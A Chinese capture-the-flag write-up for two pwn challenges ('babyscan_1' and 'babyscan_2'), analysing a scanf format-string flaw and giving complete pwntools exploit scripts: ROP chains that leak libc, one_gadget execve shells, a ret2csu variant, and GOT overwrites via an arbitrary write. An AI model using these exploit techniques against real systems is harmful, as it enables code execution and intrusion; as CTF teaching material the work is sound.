babyscan_1
题目附件:babyscan_1_12c5d902584e857a4f680aa1575d2fd81e08ec03.txz
题目分析
两道题都给了源码,第一题main函数源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int main() { char size[16], fmt[8], *buf;
printf("size: "); scanf("%15s", size); if (!isdigit(*size)) { puts("[-] Invalid number"); return 1; }
buf = (char*)alloca(atoi(size) + 1);
printf("data: "); snprintf(fmt, sizeof(fmt), "%%%ss", size); scanf(fmt, buf);
return 0; }
|
二进制的基本信息如下:
1 2 3 4 5 6 7 8 9 10
| $ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b31cf6b807484f2d04a80ceb67725cdb0f0785cd, for GNU/Linux 3.2.0, not stripped
$ checksec chall [*] '/home/bling/Downloads/1014-asis/baby_scan_1/bin/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
根据源码及二进制信息可以推测,这题是让我们用格式化字符串整一个栈溢出。
size如果输入为22,alloca申请23的空间(buf[23]
),最后一个scanf就为scanf("%22s",buf)
,不会产生溢出。
所以,应该怎样来构造输入呢?
还记得格式化字符串格式中的n$
吗?假如我们输入size为22$
,alloca会申请buf[23]
,到最后那个scanf的时候就成了scanf("%22$s",buf)
。发现了什么?我们可以往scanf的第23个参数指向的地址处,写无限长度的字符串( •̀ ω •́ )y
把上面的22改成1,就能往buf中越界写啦,调试得到此时的返回地址偏移为72。代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
payload = cyclic(200)
gdb.attach(myio,"b *0x401364 \n c") myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload)
myio.interactive()
|
到此已经可以劫持控制流了。程序中没有后门函数,那么需要找libc中one_gadget,或者通过ROPgadget布置好栈空间获得shell。这两种方法的前提都是要想办法泄露libc基址。
泄露libc基址
根据got表中的的函数,及调试信息,考虑通过puts(snprintf_got)
打印libc地址。
1 2 3 4 5 6 7 8 9
| .got.plt:0000000000404018 off_404018 dq offset puts ; DATA XREF: _puts+4↑r .got.plt:0000000000404020 off_404020 dq offset setbuf ; DATA XREF: _setbuf+4↑r .got.plt:0000000000404028 off_404028 dq offset printf ; DATA XREF: _printf+4↑r .got.plt:0000000000404030 off_404030 dq offset snprintf ; DATA XREF: _snprintf+4↑r .got.plt:0000000000404038 off_404038 dq offset alarm ; DATA XREF: _alarm+4↑r .got.plt:0000000000404040 off_404040 dq offset atoi ; DATA XREF: _atoi+4↑r .got.plt:0000000000404048 off_404048 dq offset __isoc99_scanf .got.plt:0000000000404048 ; DATA XREF: ___isoc99_scanf+4↑r .got.plt:0000000000404050 off_404050 dq offset __ctype_b_loc ; DATA XREF: ___ctype_b_loc+4↑r
|
为此,只需通过ROPgadget找到一条控制rdi(64位下存放函数调用的第一个参数)的代码片段,即0x401433。
1 2 3 4 5
| $ ROPgadget --binary ./bin/chall | grep rdi 0x00000000004012d6 : mov word ptr [rax + rdi*8], fs ; sldt word ptr [rax] ; add bl, ch ; jmp 0xffffffff82029c2b 0x0000000000401186 : or dword ptr [rdi + 0x404068], edi ; jmp rax 0x0000000000401433 : pop rdi ; ret 0x00000000004011f8 : stosd dword ptr [rdi], eax ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
|
最后,在栈上依次布置好pop rdi;ret
地址,snprintf
got表项地址,puts的plt表项地址,最后是main函数地址(这样我们可以再次实现控制流劫持,获得shell)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
pop_rdi = 0x401433 got_snprintf = 0x404030 plt_puts = 0x4010B4 main_addr = 0x401216 payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)
myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload) snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00")) libc_base = snprintf_addr - 0x61d60 print(hex(libc_base))
myio.interactive()
|
以上代码获取到libc基址并打印后,将返回main函数继续执行。
get shell
使用one_gadget找到如下3段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ one_gadget ./lib/libc.so.6 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
|
通过调试发现ret
时的寄存器情况只满足0xe3b01
这段代码,选中它,最终get shell的完整脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
pop_rdi = 0x401433 got_snprintf = 0x404030 plt_puts = 0x4010B4 main_addr = 0x401216 payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)
myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload) snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00")) libc_base = snprintf_addr - 0x61d60 print(hex(libc_base))
exec_bin_sh = libc_base + 0xe3b01 myio.sendlineafter("size: ",b"1$") payload = b'a'*72+p64(exec_bin_sh) myio.sendlineafter("data: ",payload)
myio.interactive()
|
思考
leak libc的时候,上面使用的是puts(got_snprintf)
,按理说用printf函数也能达到泄露的效果,但是一旦将puts改成printf,就会segmentation fault。
查了些资料,这种错误有两种可能:
- malloc中控制流劫持后嵌套调用printf,因为printf也会调用malloc,这种嵌套调用容易出问题
call printf
时,栈的状态不是16字节对齐
The x86-64 System V ABI guarantees 16-byte stack alignment before a call
(类似地,某些题目劫持控制流执行system("/bin/sh")
在ubuntu16.04中能成功,但在ubuntu18.04中就失败,也同样是因为对齐地问题。)
如果用printf泄露libc,那么本题地wp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
pop_rdi = 0x401433 got_snprintf = 0x404030 plt_printf = 0x4010D0 start_addr = 0x401130 payload = b'a'*72+p64(0x401430)+ p64(0) + p64(0) + p64(pop_rdi)+p64(got_snprintf)+p64(plt_printf)+ p64(start_addr)
gdb.attach(myio,"b *0x40136e \n c") myio.sendlineafter("size: ",b"1$") myio.sendlineafter("data: ",payload) snprintf_addr = u64(myio.recv(6).ljust(8,b"\x00")) libc_base = snprintf_addr - 0x61d60 print(hex(libc_base))
exec_bin_sh = libc_base + 0xe3b01 myio.sendlineafter("size: ",b"1$") payload = b'a'*72+p64(exec_bin_sh) myio.sendlineafter("data: ",payload)
myio.interactive()
|
另一种方法:使用ret2csu_init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
csu_first_addr = 0x40142A csu_second_addr = 0x401410
def csu(rbx, rbp, r12, r13, r14, r15, next_func): payload = b'a'*72 + p64(0x401430) + p64(0x0) +p64(0x0) payload += p64(csu_first_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_second_addr) payload += b'b' * 0x38 payload += p64(next_func) return payload
myio.sendlineafter("size: ",b"1$")
payload1 = csu(0,1,0x404030,0,0,0x404028,0x401130) myio.sendlineafter("data: ",payload1)
libc_snprintf = u64(myio.recv(6).ljust(8,b"\x00")) libc_base = libc_snprintf - 0x61d60 print(hex(libc_base))
exec_sh = libc_base + 0xe3b01 myio.sendlineafter("size: ",b"1$") payload2 = b'a'*72 + p64(0x401432) + p64(0) + p64(exec_sh) myio.sendlineafter("data: ",payload2)
myio.interactive()
|
babyscan_2
题目附件:babyscan_2_c5b1d8e83c4dadd3d3d96f8f9b7ea7a717f48ea0.txz
题目分析
第二个题跟第一个题的差别在于,将alloca改成了malloc。这时申请的内存在堆上,不再能够轻易栈溢出了,而题目中也没有free函数,无法利用堆上的数据结构劫持控制流。
1
| buf = (char*)malloc(atoi(size) + 1);
|
根据第一题的状态,scanf("%1$s", buf)
的buf在堆上,往它写再多数据也没用。那么能不能往“隐藏的参数 ”里写呢?
输入size为1$saaaabbbbcccc
,查看第二个scanf的状态。RDI-格式化字符串;RSI-堆地址;RDX-堆地址;RCX-0;R8-无效地址;R9-栈空间低地址(当前栈帧未使用)。然后就是栈中的参数依次是:0x7f1488c892e8,0x61616161243125,“9$saaabb”,“bbccccc”(我们可控,对应9$
)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| RAX 0x0 RBX 0x401390 ◂— endbr64 RCX 0x0 RDX 0x5555567472a0 ◂— 0x0 RDI 0x7ffca62e5c38 ◂— 0x61616173243925 /* '%9$saaa' */ RSI 0x5555567472a0 ◂— 0x0 R8 0xffffffff R9 0x7ffca62e5ac0 ◂— 0x2 R10 0x40202e ◂— 0x4c3b031b010073 /* 's' */ R11 0x7ffca62e5c40 ◂— '9$saaabbbbcccc' R12 0x401170 ◂— endbr64 R13 0x7ffca62e5d48 ◂— 0x1c R14 0x0 R15 0x0 RBP 0x7ffca62e5c60 ◂— 0x0 RSP 0x7ffca62e5c30 —▸ 0x7f1488c892e8 (__exit_funcs_lock) ◂— 0x0 RIP 0x40132b ◂— call 0x401140
00:0000│ rsp 0x7ffca62e5c30 —▸ 0x7f1488c892e8 (__exit_funcs_lock) ◂— 0x0 01:0008│ rdi 0x7ffca62e5c38 ◂— 0x61616173243925 /* '%9$saaa' */ 02:0010│ r11 0x7ffca62e5c40 ◂— '9$saaabbbbcccc' 03:0018│ 0x7ffca62e5c48 ◂— 0x636363636262 /* 'bbcccc' */ 04:0020│ 0x7ffca62e5c50 —▸ 0x7ffca62e5d48 ◂— 0x1c 05:0028│ 0x7ffca62e5c58 —▸ 0x5555567472a0 ◂— 0x0 06:0030│ rbp 0x7ffca62e5c60 ◂— 0x0 07:0038│ 0x7ffca62e5c68 —▸ 0x7f1488abc083 (__libc_start_main+243) ◂— mov edi, eax
|
因此,通过控制输入size为9$saaabb+p64(0xbabebabe)
,使scanf("%9$saaa",buf)
时将输入的内容写入地址0xbabebabe处。
至此,我们获得了任意地址写任意值(且%s无长度限制)的能力。通过如下代码片段确认任意地址写的能力
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
gdb.attach(myio,"b *0x40132b \n c")
payload1 = b"\xaa\xbb\xcc\xdd" aaw(0x404070,payload1) myio.interactive()
|
有了一次任意地址写的能力,但对于利用来说还不够,因此首先需要想办法将一次变成多次。另外got表可写,考虑将某个函数的got表项改成one_gadget地址,就可以get shell,在这之前需要先泄露libc基址。
让main进入循环
由于任意地址写完之后就会调用exit(0)
推出程序,无法进一步泄露或利用信息。因此首先利用任意地址写,将exit的got表项改成main函数或start函数。这样就具备了无数次任意地址写的能力。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
gdb.attach(myio,"b *0x40132b \n c")
payload1 = p64(0x401256)[:-1]
aaw(0x404058,payload1) myio.interactive()
|
泄露libc地址
怎么泄露libc呢?
在main函数中搜寻了所有的函数,以及所有可能的方式,无果。因为只要改了main中使用到的任何一个函数,下次再回到main函数,就无法再获得任意地址写的能力了,也就无法继续利用了。
所以回到got表,看看有没有其他能用的函数。如下,setbuf和alarm函数不是在main函数中使用,而是init_array中的setup函数调用过的。alarm函数的参数写死了,无法调整。于是只剩下了setbuf这个函数(●ˇ∀ˇ●)嘿嘿,如果将setup的got表项改成puts的plt地址,也许能输出点什么。
1 2 3 4 5 6 7 8 9 10 11
| .got.plt:0000000000404018 B8 40 40 00 00 00 00 00 off_404018 dq offset puts ; DATA XREF: _puts+4↑r .got.plt:0000000000404020 C0 40 40 00 00 00 00 00 off_404020 dq offset setbuf ; DATA XREF: _setbuf+4↑r .got.plt:0000000000404028 C8 40 40 00 00 00 00 00 off_404028 dq offset printf ; DATA XREF: _printf+4↑r .got.plt:0000000000404030 D0 40 40 00 00 00 00 00 off_404030 dq offset snprintf ; DATA XREF: _snprintf+4↑r .got.plt:0000000000404038 D8 40 40 00 00 00 00 00 off_404038 dq offset alarm ; DATA XREF: _alarm+4↑r .got.plt:0000000000404040 E8 40 40 00 00 00 00 00 off_404040 dq offset malloc ; DATA XREF: _malloc+4↑r .got.plt:0000000000404048 F0 40 40 00 00 00 00 00 off_404048 dq offset atoi ; DATA XREF: _atoi+4↑r .got.plt:0000000000404050 F8 40 40 00 00 00 00 00 off_404050 dq offset __isoc99_scanf .got.plt:0000000000404050 ; DATA XREF: ___isoc99_scanf+4↑r .got.plt:0000000000404058 00 41 40 00 00 00 00 00 off_404058 dq offset exit ; DATA XREF: _exit+4↑r .got.plt:0000000000404060 08 41 40 00 00 00 00 00 off_404060 dq offset __ctype_b_loc ; DATA XREF: ___ctype_b_loc+4↑r
|
来看看setup函数中的三个setbuf,分别用来初始化stdin,stdout和stderr。stdin和stdout如果动了的话,可能会影响跟程序的交互,于是理所当然选择stderr。 貌似用哪个都无所谓,因为第一次进main函数已经初始化过了,而且setbuf的got表项被改了,这三条相当于都废了。(不过不确定stdin/stdout在其他地方有没有引用,所以还是不改它们为好)
1 2 3 4 5 6
| void setup() { setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); }
|
断点下到0x401379,观察此时的参数及相关内存空间状态。RDI值如下,是stderr(0x4040a0)处存放的值(libc地址)。如果将setbuf的got表项值替换成puts的plt表项地址(0x4010D0),那么这里应该是puts(0x7ff2ff9435c0)
,即输出0xfbad2087,并非我们想要的libc地址。
1 2 3
| RDI 0x7ff2ff9435c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
|
怎么办呢,看来得把stderr处存放的值改掉。有两种改法:
这里使用后一种方法,泄露snprintf的libc地址,进而得到libc基址,三步:
- 改写stderr(0x4040a0)地址处的值为snprintf的got表项地址(0x404030)
- 改写setbuf的got表项(0x404020)。由于”\x20”是空格,在scanf的时候会被过滤,所以我们偏移一个字节写0x40401f处
- 改exit的got表项,让下次循环进入start函数,触发
setbuf(stderr)
,即puts(snprintf_got)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
payload1 = p64(0x401256)[:-1] aaw(0x404058,payload1)
aaw(0x4040a0,p64(0x404030)[:-1]) aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00")
payload1 = p64(0x401170)[:-1] aaw(0x404058,payload1)
myio.recvline() myio.recvline() libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) libc_base = libc_snprintf - 0x61d60 print(hex(libc_base))
myio.interactive()
|
get shell
有了libc地址,一切就变得简单了。只需要把exit的got表项内容改成one_gadget地址,退出main函数时就能get shell啦。本题有如下三条one_gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ one_gadget ./lib/libc.so.6 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
|
调试查看最后一次scanf时的寄存器情况,如下。这里我选择0xe3b01这条gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| RAX 0x0 RBX 0x401390 ◂— endbr64 RCX 0x0 *RDX 0x5555562a3320 ◂— 0x0 *RDI 0x7ffd7a2b3ec8 ◂— 0x61616173243925 /* '%9$saaa' */ *RSI 0x5555562a3320 ◂— 0x0 R8 0xffffffff *R9 0x7ffd7a2b3d50 ◂— 0x0 R10 0x40202e ◂— 0x4c3b031b010073 /* 's' */ *R11 0x7ffd7a2b3ed0 ◂— '9$saaabbX@@' R12 0x401170 ◂— endbr64 R13 0x7ffd7a2b41b8 ◂— 0x1c R14 0x0 R15 0x0 *RBP 0x7ffd7a2b3ef0 ◂— 0x0 *RSP 0x7ffd7a2b3ec0 ◂— 0xffffffff RIP 0x40132b ◂— call 0x401140
|
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
myelf = ELF("./bin/chall") mylibc = ELF("./lib/libc.so.6") myld = ELF("./lib/ld-2.31.so") myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
def aaw(addr,value): p_size = b"9$saaabb"+ p64(addr)[:-1] myio.sendlineafter("size: ",p_size) myio.sendlineafter("data: ",value)
payload1 = p64(0x401256)[:-1] aaw(0x404058,payload1)
aaw(0x4040a0,p64(0x404030)[:-1]) aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00")
payload1 = p64(0x401170)[:-1] aaw(0x404058,payload1)
myio.recvline() myio.recvline() libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) libc_base = libc_snprintf - 0x61d60 print(hex(libc_base))
payload1 = p64(libc_base+0xe3b01)[:-1] aaw(0x404058,payload1)
myio.interactive()
|
思考